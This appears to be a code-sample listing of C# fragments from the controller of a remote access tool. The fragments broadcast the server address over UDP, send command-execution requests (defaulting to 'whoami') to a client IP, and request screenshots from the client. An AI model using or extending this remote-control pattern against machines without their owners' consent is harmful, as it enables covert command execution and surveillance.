Beispiel #1
0
 public static void start()
 {
     while (true)
     {
         UDPHeartBeat.Send("<SERVERIP> " + Form1.ipAd.ToString());
         UDPHeartBeat.Send("<SERVERPORT> " + Form1.PortNumber.ToString());
         Thread.Sleep(10000);
     }
 }
Beispiel #2
0
 private void button1_Click(object sender, EventArgs e)
 {
     button1.Enabled = false;
     PortNumber      = Int32.Parse(PortBox.Text);
     ipAd            = IPAddress.Parse(textBox1.Text);
     Task.Factory.StartNew(() => AsynchronousSocketListener.StartListening());
     Task.Factory.StartNew(() => start());
     Task.Factory.StartNew(() => reset());
     Task.Factory.StartNew(() => UDPHeartBeat.start());
 }
Beispiel #3
0
 private void button2_Click(object sender, EventArgs e)
 {
     try
     {
         if (ExecBox != null)
         {
             UDPHeartBeat.Send("<EXECREQ> " + ExecBox.Text, ClientIP);
         }
         else
         {
             UDPHeartBeat.Send("<EXECREQ> whoami", ClientIP);
         }
     }
     catch (Exception ee)
     {
         Console.WriteLine(ee);
     }
 }
Beispiel #4
0
 private void button1_Click(object sender, EventArgs e)
 {
     UDPHeartBeat.Send("<SCREENSHOTREQ>", ClientIP);
 }